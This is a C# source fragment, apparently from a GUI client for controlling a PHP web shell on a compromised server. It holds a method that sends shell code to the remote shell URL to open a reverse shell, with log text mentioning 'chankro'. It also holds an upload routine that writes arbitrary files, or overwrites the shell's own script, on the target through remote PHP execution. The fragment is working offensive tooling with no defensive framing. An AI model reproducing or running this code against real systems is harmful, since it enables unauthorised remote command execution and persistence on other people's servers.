/// <summary> /// Task wrapper for popping reverse shell without chankro /// </summary> /// <param name="shellCode"></param> private async Task PopReverseShell(string shellCode) { string phpCode = PhpBuilder.ExecuteSystemCode(shellCode, false); await Task.Run(() => WebRequestHelper.ExecuteRemotePHP(ShellUrl, phpCode, true).ConfigureAwait(false)); if (checkBoxLogShellCode.Checked) { LogHelper.AddShellLog(ShellUrl, "Attempted to pop chankro reverse shell with [ " + shellCode + " ] ", LogHelper.LOG_LEVEL.REQUESTED); } }
/// <summary> /// Main upload routine /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void btnUpload_Click(object sender, EventArgs e) { string phpCode = string.Empty; btnBrowse.Enabled = false; btnUpload.Enabled = false; richTextBox1.Enabled = false; if (EditingSelf) { if (!string.IsNullOrEmpty(richTextBox1.Text)) { phpCode = Helper.EncodeBase64ToString(richTextBox1.Text); } else { LogHelper.AddShellLog(ShellUrl, "Attempted to upload empty file/data to self...", LogHelper.LOG_LEVEL.INFO); btnUpload.Enabled = true; return; } phpCode = PhpBuilder.WriteFileVar(PhpBuilder.phpServerScriptFileName, phpCode); } else { if (!string.IsNullOrEmpty(LocalFileLocation)) { phpCode = Convert.ToBase64String(File.ReadAllBytes(LocalFileLocation)); } else if (!string.IsNullOrEmpty(richTextBox1.Text)) { phpCode = Helper.EncodeBase64ToString(richTextBox1.Text); } else { LogHelper.AddShellLog(ShellUrl, "Attempted to upload empty file/data...", LogHelper.LOG_LEVEL.INFO); btnUpload.Enabled = true; return; } string remoteFileLocation = ServerPath + "/" + txtBoxFileName.Text; phpCode = PhpBuilder.WriteFile(remoteFileLocation, phpCode); } await WebRequestHelper.ExecuteRemotePHP(ShellUrl, phpCode); btnUpload.Enabled = true; btnBrowse.Enabled = true; richTextBox1.Enabled = true; this.Close(); }